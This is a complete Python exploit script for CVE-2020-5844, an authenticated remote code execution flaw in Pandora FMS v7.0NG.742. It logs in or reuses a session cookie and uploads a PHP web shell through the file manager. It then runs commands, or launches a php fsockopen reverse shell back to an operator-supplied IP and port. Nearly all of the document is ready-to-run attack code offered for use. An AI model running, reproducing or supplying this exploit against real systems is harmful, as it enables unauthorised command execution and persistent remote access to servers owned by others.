Pandora FMS 7.0NG.742 Remote Code Execution

`# Exploit Title: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated)  
# Date: 05/20/2022  
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)  
# Vendor Homepage: https://pandorafms.com/  
# Software Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/742_FIX_PERL2020/Tarball/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz  
# Version: v7.0NG.742  
# Tested on: Pandora FMS v7.0NG.742 (Ubuntu)  
# CVE: CVE-2020-5844  
# Source: https://github.com/UNICORDev/exploit-CVE-2020-5844  
# Description: index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020.  
  
#!/usr/bin/env python3  
  
# Imports  
try:  
import requests  
except:  
print(f"ERRORED: RUN: pip install requests")  
exit()  
import sys  
import time  
import urllib.parse  
  
# Class for colors  
class color:  
red = '\033[91m'  
gold = '\033[93m'  
blue = '\033[36m'  
green = '\033[92m'  
no = '\033[0m'  
  
# Print UNICORD ASCII Art  
def UNICORD_ASCII():  
print(rf"""  
{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}  
{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}  
{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}  
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}  
""")  
  
# Print exploit help menu  
def help():  
print(r"""UNICORD Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution  
  
Usage:  
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password>  
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID>  
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>]  
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>]  
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>]  
python3 exploit-CVE-2020-5844.py -h  
  
Options:  
-t Target host and port. Provide target IP address and port.  
-u Target username and password. Provide username and password to log in to Pandora FMS.  
-p Target valid PHP session ID. No username or password needed. (Optional)  
-s Reverse shell mode. Provide local IP address and port. (Optional)  
-c Custom command mode. Provide command to execute. (Optional)  
-w Web shell custom mode. Provide custom PHP file name. (Optional)  
-h Show this help menu.  
""")  
exit()  
  
# Pretty loading wheel  
def loading(spins):  
  
def spinning_cursor():  
while True:  
for cursor in '|/-\\':  
yield cursor  
  
spinner = spinning_cursor()  
for _ in range(spins):  
sys.stdout.write(next(spinner))  
sys.stdout.flush()  
time.sleep(0.1)  
sys.stdout.write('\b')  
  
# Run the exploit  
def exploit(exploitMode, targetSess):  
  
UNICORD_ASCII()  
  
# Print initial variables  
print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution{color.no}")  
print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")  
if targetSess is not None:  
print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")  
elif targetUser is not None:  
print(f"{color.blue}USERNAME: {color.gold}{targetUser}{color.no}")  
print(f"{color.blue}PASSWORD: {color.gold}{targetPass}{color.no}")  
  
if exploitMode == "command":  
print(f"{color.blue}COMMAND: {color.gold}{command}{color.no}")  
if exploitMode == "web":  
print(f"{color.blue}WEBFILE: {color.gold}{webName}{color.no}")  
if exploitMode == "shell":  
print(f"{color.blue}LOCALIP: {color.gold}{localIP}:{localPort}{color.no}")  
print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")  
print(f"{color.blue}WEBSITE: {color.gold}http://{targetIP}:{targetPort}/pandora_console{color.no}")  
  
loading(15)  
  
# If a PHPSESSID is not provided, grab one with valid username and password  
if targetSess is None:  
try:  
getSession = requests.post(f"http://{targetIP}:{targetPort}/pandora_console/index.php?login=1", data={"nick": targetUser, "pass": targetPass, "login_button": "login"})  
targetSess = getSession.cookies.get('PHPSESSID')  
print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")  
if "login_move" in getSession.text:  
print(f"{color.blue}ERRORED: {color.red}Invalid credentials!{color.no}")  
except:  
print(f"{color.blue}ERRORED: {color.red}Could not log in to website!{color.no}")  
exit()  
  
# Set headers, parameters, and cookies for post request  
headers = {  
'Host': f'{targetIP}',  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'en-US,en;q=0.5',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'multipart/form-data; boundary=---------------------------308045185511758964171231871874',  
'Content-Length': '1289',  
'Connection': 'close',  
'Referer': f'http://{targetIP}:{targetPort}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager',  
'Upgrade-Insecure-Requests': '1',  
'Sec-Fetch-Dest': 'document',  
'Sec-Fetch-Mode': 'navigate',  
'Sec-Fetch-Site': 'same-origin',  
'Sec-Fetch-User': '?1'  
}  
params = (  
('sec', 'gsetup'),  
('sec2', 'godmode/setup/file_manager')  
)  
cookies = {'PHPSESSID': targetSess}  
# Basic PHP web shell with 'cmd' parameter  
data = f'-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="file"; filename="{webName}"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']);?>\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="umask"\r\n\r\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="decompress_sent"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="go"\r\n\r\nGo\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="real_directory"\r\n\r\n/var/www/pandora/pandora_console/images\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="directory"\r\n\r\nimages\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash"\r\n\r\n6427eed956c3b836eb0644629a183a9b\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash2"\r\n\r\n594175347dddf7a54cc03f6c6d0f04b4\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="upload_file_or_zip"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874--\r\n'  
  
# Try to upload the PHP web shell to the server  
try:  
response = requests.post(f'http://{targetIP}:{targetPort}/pandora_console/index.php', headers=headers, params=params, cookies=cookies, data=data, verify=False)  
except:  
print(f"{color.blue}ERRORED: {color.red}Could not connect to website!{color.no}")  
exit()  
statusCode=response.status_code  
if statusCode == 200:  
print(f"{color.blue}EXPLOIT: {color.gold}Connected to website! Status Code: {statusCode}{color.no}")  
else:  
print(f"{color.blue}ERRORED: {color.red}Could not connect to website! Status Code: {statusCode}{color.no}")  
exit()  
loading(15)  
  
print(f"{color.blue}EXPLOIT: {color.gold}Logged into Pandora FMS!{color.no}")  
loading(15)  
  
# Print web shell location if in web shell mode  
if exploitMode == "web":  
print(f"{color.blue}EXPLOIT: {color.gold}Web shell uploaded!{color.no}")  
print(f"{color.blue}SUCCESS: {color.green}Web shell available at: http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd=whoami {color.no}\n")  
  
# Run custom command on web shell if in command mode  
if exploitMode == "command":  
response = requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(command)}')  
print(f"{color.blue}SUCCESS: {color.green}Command executed! Printing response below:{color.no}\n")  
print(response.text)  
  
# Run reverse shell command if in reverse shell mode  
if exploitMode == "shell":  
shell = f"php -r \'$sock=fsockopen(\"{localIP}\",{localPort});exec(\"/bin/sh -i <&3 >&3 2>&3\");\'"  
try:  
requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(shell)}',timeout=1)  
print(f"{color.blue}ERRORED: {color.red}Reverse shell could not connect! Make sure you have a local listener on {color.gold}{localIP}:{localPort}{color.no}\n")  
except:  
print(f"{color.blue}SUCCESS: {color.green}Reverse shell executed! Check your local listener on {color.gold}{localIP}:{localPort}{color.no}\n")  
  
exit()  
  
if __name__ == "__main__":  
  
args = ['-h','-t','-u','-p','-s','-c','-w']  
modes = {'web':'Web Shell Mode','command':'Command Shell Mode','shell':'Reverse Shell Mode'}  
  
# Initialize starting variables  
targetIP = None  
targetPort = None  
targetUser = None  
targetPass = None  
targetSess = None  
command = None  
localIP = None  
localPort = None  
webName = "unicord.php" # Default web shell file name  
exploitMode = "web" # Default to web shell mode  
  
# Print help if specified or if a target or authentication is not provided  
if args[0] in sys.argv or args[1] not in sys.argv or (args[2] not in sys.argv and args[3] not in sys.argv):  
help()  
  
# Collect target IP and port from CLI  
if args[1] in sys.argv:  
try:  
if "-" in sys.argv[sys.argv.index(args[1]) + 1]:  
raise  
targetIP = sys.argv[sys.argv.index(args[1]) + 1]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")  
exit()  
try:  
if "-" in sys.argv[sys.argv.index(args[1]) + 2]:  
raise  
targetPort = sys.argv[sys.argv.index(args[1]) + 2]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")  
exit()  
  
# Collect target username and password from CLI  
if args[2] in sys.argv:  
try:  
if "-" in sys.argv[sys.argv.index(args[2]) + 1]:  
raise  
targetUser = sys.argv[sys.argv.index(args[2]) + 1]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}")  
exit()  
try:  
if "-" in sys.argv[sys.argv.index(args[2]) + 2]:  
raise  
targetPass = sys.argv[sys.argv.index(args[2]) + 2]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}")  
exit()  
  
# Collect PHPSESSID from CLI, if specified  
if args[3] in sys.argv:  
try:  
if "-" in sys.argv[sys.argv.index(args[3]) + 1]:  
raise  
targetSess = sys.argv[sys.argv.index(args[3]) + 1]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide a valid PHPSESSID! \"-p <PHPSESSID>\"{color.no}")  
exit()  
  
# Set reverse shell mode from CLI, if specified  
if args[4] in sys.argv:  
exploitMode = "shell"  
try:  
if "-" in sys.argv[sys.argv.index(args[4]) + 1]:  
raise  
localIP = sys.argv[sys.argv.index(args[4]) + 1]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}")  
exit()  
try:  
if "-" in sys.argv[sys.argv.index(args[4]) + 2]:  
raise  
localPort = sys.argv[sys.argv.index(args[4]) + 2]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}")  
exit()  
exploit(exploitMode,targetSess)  
  
# Set custom command mode from CLI, if specified  
elif args[5] in sys.argv:  
exploitMode = "command"  
try:  
if sys.argv[sys.argv.index(args[5]) + 1] in args:  
raise  
command = sys.argv[sys.argv.index(args[5]) + 1]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")  
exit()  
exploit(exploitMode,targetSess)  
  
# Set web shell mode from CLI, if specified  
elif args[6] in sys.argv:  
exploitMode = "web"  
try:  
if sys.argv[sys.argv.index(args[6]) + 1] in args:  
raise  
if ".php" not in sys.argv[sys.argv.index(args[6]) + 1]:  
webName = sys.argv[sys.argv.index(args[6]) + 1] + ".php"  
else:  
webName = sys.argv[sys.argv.index(args[6]) + 1]  
except:  
print(f"{color.blue}ERRORED: {color.red}Provide a custom PHP file name! \"-c <name.php>\"{color.no}")  
exit()  
exploit(exploitMode,targetSess)  
  
# Run with default web shell mode if no mode is specified  
else:  
exploit(exploitMode,targetSess)  
  
`